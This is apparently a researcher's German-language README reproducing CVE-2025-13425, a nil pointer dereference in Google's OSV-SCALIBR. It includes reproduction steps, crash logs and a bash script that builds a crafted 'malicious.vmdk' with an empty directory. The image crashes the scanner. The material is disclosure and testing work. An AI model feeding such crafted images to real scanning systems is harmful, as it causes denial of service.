
Dieses Repository enthält Anweisungen zur Reproduktion von CVE-2025-13425: Nullpointer-Dereferenzierung / Array-Überindexierungs-Schwachstelle, die ich im Google OSV-SCALIBR-Projekt gefunden habe.
Um CVE-2025-13425 zu reproduzieren, folgen Sie einfach den nachstehenden Schritten:
Schritt 1: Klonen Sie den aktuellen osv-scalibr Quellcode:
$ git clone https://github.com/google/osv-scalibr
Schritt 2: Entfernen Sie den im Fix-Commit erwähnten Code: https://github.com/google/osv-scalibr/commit/e67c4e198ca099cb7c16957a80f6c5331d90a672
Schritt 3: Verwenden Sie den Patch vmdk.go.patch und wenden Sie ihn auf vmdk.go an mit:
$ cd osv-scalibr
$ git apply /path/to/vmdk.go.patch
Warum benötigen wir diese Änderungen an vmdk.go ?
Dies ist nur ein Beispiel und dieser Fehler beschränkt sich nicht nur auf das vmdk-Plugin. Dies ist erforderlich, um den Fehler auszulösen. Der Fehler tritt auf, wenn jemand ein eigenes Plugin schreibt, das ein virtuelles Dateisystem durchläuft, das in einer Datei enthalten ist. Der Fehler liegt in der Art und Weise, wie osv-scalibr virtuelle Dateisysteme behandelt. Dieser Fehler bleibt bei der Kompilierung oder im Produktionsbetrieb unbemerkt, wird aber ausgelöst, wenn der Benutzer eine vmdk-Datei bereitstellt, die mindestens ein leeres Verzeichnis enthält.
Schritt 4: Kompilieren Sie den Quellcode, um die Binärdatei "scalibr" zu erhalten:
$ make clean && make
Schritt 5: Auslösen mit:
$ go test -v ./extractor/filesystem/embeddedfs/vmdk/
Expected output:
...
=== RUN TestExtractValidVMDK/DiskImage_1
vmdk_test.go:87: GetEmbeddedFS() failed: unsupported filesystem type unknown for partition 2
--- FAIL: TestExtractValidVMDK (1.35s)
--- PASS: TestExtractValidVMDK/DiskImage_0 (0.02s)
--- FAIL: TestExtractValidVMDK/DiskImage_1 (0.00s)
panic: runtime error: invalid memory address or nil pointer dereference [recovered]
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x20 pc=0x7613e2]
...
ODER
Sie können ein bösartiges (oder minimales) vmdk-Image generieren, das ein leeres Verzeichnis enthält. Erstellen Sie dazu ein neues Bash-Skript mit dem folgenden Code (z.B. gen_malicious_vmdk.sh):
#!/usr/bin/env bash
dd if=/dev/zero of=valid.img bs=1M count=20
parted -s --align optimal valid.img --script mklabel gpt
parted -s --align optimal valid.img --script mkpart primary ext4 0% 100%
sudo losetup -fP valid.img
LOOPDEV=$(losetup -j valid.img | cut -d: -f1)
PARTITION1="${LOOPDEV}p1"
sudo mkfs.ext4 $PARTITION1
sudo rm -rf /mnt/valid*
sudo mkdir /mnt/valid
sudo mount ${PARTITION1} /mnt/valid
sudo mkdir /mnt/valid/empty_dir
sudo umount /mnt/valid
sudo losetup -d ${LOOPDEV}
sudo rm -rf /mnt/valid* *.vmdk
qemu-img convert valid.img -O vmdk malicious.vmdk
Nun,
$ chmod +x gen_malicious_vmdk.sh
$ ./gen_malicious_vmdk.sh
Es wird eine Datei namens "malicious.vmdk" erstellt. Lösen Sie nun die Schwachstelle aus mit:
$ ./scalibr --extractors=embeddedfs/vmdk -o textproto=output.txt malicious.vmdk
Expected output:
2025/11/05 19:02:45 Running scan with 1 plugins
2025/11/05 19:02:45 Paths to extract: [../try/malicious.vmdk]
2025/11/05 19:02:45 Scan roots: [%!s(*fs.ScanRoot=&{/ /})]
2025/11/05 19:02:45 Starting filesystem walk for root: /
2025/11/05 19:02:45 End status: 0 dirs visited, 1 inodes visited, 1 Extract calls, 124.392222ms elapsed, 124.392999ms wall time
2025/11/05 19:02:45 Starting filesystem walk for root:
panic: runtime error: invalid memory address or nil pointer dereference
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x10 pc=0x1fbb303]
...
CVE-2025-13425 entdeckt von Yuvraj Saxena ([email protected])